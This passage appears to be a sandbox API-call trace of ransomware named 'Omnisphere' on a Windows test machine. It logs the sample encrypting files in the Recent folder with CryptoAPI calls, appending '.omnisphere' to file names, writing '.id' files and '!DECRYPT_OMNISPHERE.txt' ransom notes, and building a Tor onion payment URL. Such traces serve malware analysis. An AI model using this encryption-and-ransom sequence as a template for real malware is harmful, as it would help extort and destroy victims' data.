lpUsedDefaultChar=0x0) returned 30 [0127.453] GetProcessHeap () returned 0x1600000 [0127.453] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1a50 [0127.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1a50, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.453] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.454] GetProcessHeap () returned 0x1600000 [0127.454] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8408 [0127.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.454] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.454] GetProcessHeap () returned 0x1600000 [0127.454] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f65a8 [0127.454] PathCombineW (in: pszDest=0x16f65a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.454] GetProcessHeap () returned 0x1600000 [0127.454] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17011d0 [0127.454] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.454] WriteFile (in: hFile=0x28c, lpBuffer=0x17011d0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x17011d0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.455] CloseHandle (hObject=0x28c) returned 1 [0127.455] GetProcessHeap () returned 0x1600000 [0127.455] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.455] GetProcessHeap () returned 0x1600000 [0127.455] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.455] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.455] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.455] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.455] CloseHandle (hObject=0x28c) returned 1 [0127.456] GetProcessHeap () returned 0x1600000 [0127.456] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.456] GetProcessHeap () returned 0x1600000 [0127.456] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b9e8 | out: hHeap=0x1600000) returned 1 [0127.456] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f6dae0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20f6dae0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20f6dae0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0xd3, cFileName="yfPx0cEnV.lnk", cAlternateFileName="YFPX0C~1.LNK")) returned 1 [0127.456] GetProcessHeap () returned 0x1600000 [0127.456] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656f58 [0127.456] PathCombineW (in: pszDest=0x1656f58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="yfPx0cEnV.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yfPx0cEnV.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yfPx0cEnV.lnk" [0127.456] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.456] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yfPx0cEnV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yfpx0cenv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.456] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=643) returned 1 [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.457] GetTickCount () returned 0x115fcdb [0127.458] GetTickCount () returned 0x115fcdb [0127.458] GetTickCount () returned 0x115fcdb [0127.458] GetTickCount () returned 0x115fcdb [0127.458] GetTickCount () returned 0x115fcdb [0127.458] GetTickCount () returned 0x115fcdb [0127.458] GetTickCount () returned 0x115fcdb [0127.458] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0127.458] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0127.459] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.459] CryptDestroyKey (hKey=0x16394e8) returned 1 [0127.459] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.459] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x283, lpName=0x0) returned 0x288 [0127.459] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x283) returned 0x1480000 [0127.459] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0127.460] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0127.460] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.460] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.460] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.460] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.460] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.460] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.460] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.460] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.461] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.462] CryptDestroyKey (hKey=0x16394e8) returned 1 [0127.462] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0127.462] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x283, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.463] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.463] GetProcessHeap () returned 0x1600000 [0127.463] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ac) returned 0x16f2c08 [0127.463] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yfPx0cEnV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yfpx0cenv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yfPx0cEnV.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yfpx0cenv.lnk.omnisphere")) returned 1 [0127.464] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yfPx0cEnV.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yfPx0cEnV.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yfPx0cEnV.lnk.omnisphere.id" [0127.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yfPx0cEnV.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yfpx0cenv.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.465] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.466] CloseHandle (hObject=0x3c0) returned 1 [0127.466] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.466] CloseHandle (hObject=0x288) returned 1 [0127.466] SetEndOfFile (hFile=0x28c) returned 1 [0127.466] FlushFileBuffers (hFile=0x28c) returned 1 [0127.470] CloseHandle (hObject=0x28c) returned 1 [0127.470] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yfPx0cEnV.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.470] GetProcessHeap () returned 0x1600000 [0127.470] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.470] GetProcessHeap () returned 0x1600000 [0127.471] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1c80 [0127.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1c80, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.471] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.471] GetProcessHeap () returned 0x1600000 [0127.471] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d82a8 [0127.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d82a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.471] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.471] GetProcessHeap () returned 0x1600000 [0127.471] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f6380 [0127.471] PathCombineW (in: pszDest=0x16f6380, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.471] GetProcessHeap () returned 0x1600000 [0127.471] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1701798 [0127.471] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.471] WriteFile (in: hFile=0x28c, lpBuffer=0x1701798*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1701798*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.476] CloseHandle (hObject=0x28c) returned 1 [0127.477] GetProcessHeap () returned 0x1600000 [0127.477] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.477] GetProcessHeap () returned 0x1600000 